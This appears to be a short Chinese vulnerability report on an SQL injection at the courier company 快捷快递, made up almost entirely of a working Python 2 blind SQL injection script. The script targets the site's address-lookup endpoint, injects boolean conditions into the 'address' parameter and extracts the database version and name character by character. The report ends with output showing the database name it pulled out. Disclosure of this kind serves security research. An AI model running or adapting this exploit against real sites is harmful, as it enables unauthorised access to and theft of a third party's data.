快捷快递某处存在SQL注入造成信息泄露

#!/usr/bin/env python2
 #coding: utf-8
 
 import urllib
 import urllib2
 import string
 
 # pool = string.printable
 # pool = pool.replace("'","")
 # pool = pool.replace("//","")
 
 pool = string.ascii_letters + "-.@_" + string.digits
 
 # get baseline
 data = {}
 
 data['pid'] = '1'
 data['cid'] = '520'
 data['address'] = "2%25' AND length(VERSION())>20 AND '%25'='"
 
 data = urllib.urlencode(data)
 url = "http://www.kjkd.com/address/getwdinfo.jsp"
 
 req = urllib2.Request(url, data)
 response = urllib2.urlopen(req)
 the_page = response.read()
 baselineLenght = len(the_page)
 print '[*] baseline legth:', baselineLenght
 
 '''
 # get mysql version length
 versionLegth = -1
 for i in range(50):
  data = "pid=1&cid=520&address="
  data += "2%25' AND length(VERSION())>" + str(i) + " AND '%25'='"
  req = urllib2.Request(url, data)
  response = urllib2.urlopen(req)
  respLength = len(response.read())
  if respLength == baselineLenght:
   print "[*] version length:", i
   versionLegth = i
   break
 
 # get mysql version
 databaseVersion = ""
 for i in range(versionLegth+1):
  for x in pool:
   data = "pid=1&cid=520&address="
   data += "2%25' AND mid(version()," + str(i) + ",1)='" + x + "' AND '%25'='"
   #print data
   req = urllib2.Request(url, data)
   response = urllib2.urlopen(req)
   respLength = len(response.read())
   if respLength != baselineLenght:
    databaseVersion += x
    print databaseVersion
    break
 print "[*] version:", databaseVersion
 '''
 
 # get current db length
 curDatabaseLength = -1
 for i in range(50):
  data = "pid=1&cid=520&address="
  data += "2%25' AND length(DATABASE())>" + str(i) + " AND '%25'='"
  req = urllib2.Request(url, data)
  response = urllib2.urlopen(req)
  respLength = len(response.read())
  if respLength == baselineLenght:
   print "[*] current database name length:", i
   curDatabaseLength = i
   break
 
 # get current database name
 curDatabaseName = ""
 for i in range(curDatabaseLength+1):
  for x in pool:
   data = "pid=1&cid=520&address="
   data += "2%25' AND mid(database()," + str(i) + ",1)='" + x + "' AND '%25'='"
   #print data
   req = urllib2.Request(url, data)
   response = urllib2.urlopen(req)
   respLength = len(response.read())
   if respLength != baselineLenght:
    curDatabaseName += x
    print curDatabaseName
    break
 print "[*] current database name:", curDatabaseName

[*] baseline legth: 2
 [*] current database name length: 4
 k
 kj
 kjk
 kjkd
 [*] current database name: kjkd